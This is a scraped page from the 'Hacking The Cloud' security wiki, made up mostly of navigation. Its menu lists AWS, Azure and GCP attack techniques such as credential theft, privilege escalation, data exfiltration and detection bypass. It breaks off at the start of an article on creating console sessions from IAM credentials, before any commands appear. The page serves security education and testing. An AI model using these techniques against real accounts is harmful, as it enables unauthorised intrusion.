4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#using-aws-vault class=md-nav__link> <span class=md-ellipsis> Using aws-vault </span> </a> <nav class=md-nav aria-label="Using aws-vault"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#user-credentials class=md-nav__link> <span class=md-ellipsis> User Credentials </span> </a> </li> <li class=md-nav__item> <a href=#sts-credentials class=md-nav__link> <span class=md-ellipsis> STS Credentials </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#using-aws-vault class=md-nav__link> <span class=md-ellipsis> Using aws-vault </span> </a> <nav class=md-nav aria-label="Using aws-vault"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#user-credentials class=md-nav__link> <span class=md-ellipsis> User Credentials </span> </a> </li> <li class=md-nav__item> <a href=#sts-credentials class=md-nav__link> <span class=md-ellipsis> STS Credentials </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/create_a_console_session_from_iam_credentials.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Create a Console Session from IAM Credentials</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/ >Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/99designs/aws-vault>aws-vault</a>: A vault for securely storing and accessing AWS credentials in development environments.</p> <p><a href=https://github.com/NetSPI/aws_consoler>aws_consoler</a>: A utility to convert your AWS CLI credentials into AWS console access.</p> <p><a href=https://github.com/RhinoSecurityLabs/pacu>Pacu</a>: The 